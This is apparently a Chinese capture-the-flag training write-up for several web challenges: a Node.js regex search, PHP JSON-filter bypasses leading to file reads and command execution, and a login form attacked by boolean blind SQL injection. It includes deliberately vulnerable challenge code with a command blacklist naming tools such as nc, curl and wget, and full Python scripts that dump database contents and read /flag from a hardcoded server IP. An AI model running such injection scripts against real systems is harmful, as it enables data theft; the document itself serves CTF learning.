训练赛第一周wp
web
read-data
下载app.js,贴个源码。
const express = require('express')
const app = express();
const port = 3000;
const fs = require('fs')
try {
const inputD = fs.readFileSync('table.txt', 'utf-8');
text = inputD.toString().split("\n").map(e => e.trim());
} catch (err) {
console.error("读取文件出错:", err);
process.exit(1);
}
app.get('/', (req, res) => {
if (!req.query.name) {
res.send("你查询了吗? XD")
return;
}
let goodLines = []
text.forEach( line => {
if (line.match(req.query.name)) {
goodLines.push(line)
}
});
res.json({"查询结果":goodLines})
})
app.get('/:id/:firstName/:lastName', (req, res) => {
res.send("FLAG")
})
app.listen(port, () => {
console.log(`App server listening on ${port}. (Go to http://localhost:${port})`);
});
发现GET传参name。还有一个路径格式能返回flag。
app.get('/:id/:firstName/:lastName', (req, res) => {
res.send("FLAG")
})
先传参看一看,?name=a。发现:

下翻到Flag Holder。根据提示说Ricardo Olsen的id为1。则路径/1/Ricardo/Olsen便能返回值,所以只需要找到Flag Holder的序号就能返回flag。
传参?name=["__proto__":{"id":,"firstname":,"lastname":}]发现能查询出全部数据,得知Flag Holder为50。
最后发现序号为51,./51/Flag/Holder获得flag。

rce_me
贴一下PHP源码。
<?php error_reporting(0); highlight_file(__FILE__); function is_safe($input) { $blacklist = [ '\.\.', '(php|file|glob|data|tp|zip|zlib|phar):', 'flag' ]; $pattern = '/' . implode('|', $blacklist) . '/i'; return !preg_match($pattern, $input); } $requestBody = file_get_contents('php://input'); $parsedJson = json_decode($requestBody, true); if (is_safe($requestBody) && isset($parsedJson) && isset($parsedJson['pages'])) { $pageUrl = $parsedJson['pages']; $pageContent = file_get_contents($pageUrl); if (!$pageContent || !is_safe($pageContent)) { $pageContent = "<p>not found</p>\n"; } } else { $pageContent = '<p>invalid request</p>'; } $pageContent = preg_replace('/flag\{.+\}/i', 'flag{123}', $pageContent); echo json_encode(['content' => $pageContent]); ?>
过滤了好一些伪协议,POST传json格式的数据,并用json_decode()函数解析。来看看json_decode()函数的特性。

json_string必须是UTF-8编码数据,也就是说,我们可以将伪协议转化为UTF-8编码,绕过过滤。POST传json数据得到flag。

simple_php
根据提示flag在根目录下的flag.txt里。
贴代码。
<?php error_reporting(0); highlight_file(__FILE__); function is_safe($input) { $blacklist = [ '\.\.', 'flag', '\\\\' ]; $pattern = '/' . implode('|', $blacklist) . '/i'; return !preg_match($pattern, $input); } $requestBody = file_get_contents('php://input'); $parsedJson = json_decode($requestBody, true); if (is_safe($parsedJson['cmd']) && isset($parsedJson['cmd']) && strpos($requestBody, '\u') === false ) { $cmd = $parsedJson['cmd']; if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|zip|mod|sl|find|sed|cp|mv|ty|php|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|date|bash|env|\?|wget|\'|\"|whoami/i', $cmd)) { system($cmd); print_r("Ok,I seem to be safe!"); } }
代码审计发现上一题的考点对这一题没用,可以用拼接法绕过正则匹配,但是'.'不好绕过,我也是翻了好多博客才发现解法,用base64编码绕过。同样是POST传json数据。

simple_php_revenge
看代码。
<?php error_reporting(0); highlight_file(__FILE__); function is_safe($input) { $blacklist = [ '\.\.', 'flag', '\\\\' ]; $pattern = '/' . implode('|', $blacklist) . '/i'; return !preg_match($pattern, $input); } $requestBody = file_get_contents('php://input'); $parsedJson = json_decode($requestBody, true); if (is_safe($parsedJson['cmd']) && isset($parsedJson['cmd']) && strpos($requestBody, '\u') === false ) { $cmd = $parsedJson['cmd']; if (!preg_match('/ls|\`|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|zip|mod|sl|find|sed|cp|mv|ty|php|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|date|bash|env|\?|wget|\'|\"|whoami/i', $cmd)) { system($cmd); print_r("Ok,I seem to be safe!"); } }
过滤了很多,但对上一题的payload没有过滤。继续用。

msgg看来我的payload说是非预期,并说他还会发一个rerevenge。
人才(做的)管理系统 by hacked_1,2,3
这三个题和在一起讲。
第一个flag
直接./index.html进去就有flag,纯手速题。
第二个flag
登录页面,这里我进后台注册了一下,后面好进行bool判断,抓包。
POST: username=a&password=a'and(1)# 放包。

POST: username=a&password=a'and(0)# ,放包。

说明有bool判断,可以进行布尔盲注,直接全部爆。
直接上脚本。
import requests url="http://47.121.24.182/login" database="" for i in range(1,100): min_num=32 max_num=127 mid_num=(min_num+max_num)//2 while(min_num<max_num): payload="a'and(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{},1))<={})#".format(i,mid_num) data={"username":"a","password":payload} res=requests.post(url,data=data) if res.status_code==200: min_num=mid_num+1 else: max_num=mid_num mid_num=(min_num+max_num)//2 if(chr(mid_num)==" "): break database+=chr(mid_num) print(database) table="" for i in range(1,100): min_num=32 max_num=127 mid_num=(min_num+max_num)//2 while(min_num<max_num): payload="a'and(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))<={})#".format(i,mid_num) data={"username":"a","password":payload} res=requests.post(url,data=data) if res.status_code==200: min_num=mid_num+1 else: max_num=mid_num mid_num=(min_num+max_num)//2 if(chr(mid_num)==" "): break table+=chr(mid_num) print(table) column="" for i in range(1,100): min_num=32 max_num=127 mid_num=(min_num+max_num)//2 while(min_num<max_num): payload="a'and(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),{},1))<={})#".format(i,mid_num) data={"username":"a","password":payload} res=requests.post(url,data=data) if res.status_code==200: min_num=mid_num+1 else: max_num=mid_num mid_num=(min_num+max_num)//2 if(chr(mid_num)==" "): break column+=chr(mid_num) print(column) flag="" for i in range(1,100): min_num=32 max_num=127 mid_num=(min_num+max_num)//2 while(min_num<max_num): payload="a'and(ascii(substr((select(group_concat(Id,':',flag))from(flag)),{},1))<={})#".format(i,mid_num) data={"username":"a","password":payload} res=requests.post(url,data=data) if res.status_code==200: min_num=mid_num+1 else: max_num=mid_num mid_num=(min_num+max_num)//2 if(chr(mid_num)==" "): break flag+=chr(mid_num) print(flag)
这里我用的是二分法,判断条件是响应码,只过滤了空格。直接出flag。
第三个flag
提示说是在根目录下面,sql查根目录文件用load_file()函数,也是用布尔盲注。
上脚本。
import requests url="http://47.121.24.182/login" flag="" for i in range(1,100): min_num=32 max_num=127 mid_num=(min_num+max_num)//2 while(min_num<max_num): payload="a'and(ascii(substr((select(load_file('/flag'))),{},1))<={})#".format(i,mid_num) data={"username":"a","password":payload} res=requests.post(url,data=data) if res.status_code==200: min_num=mid_num+1 else: max_num=mid_num mid_num=(min_num+max_num)//2 if(chr(mid_num)==" "): break flag+=chr(mid_num) print(flag)

浙公网安备 33010602011771号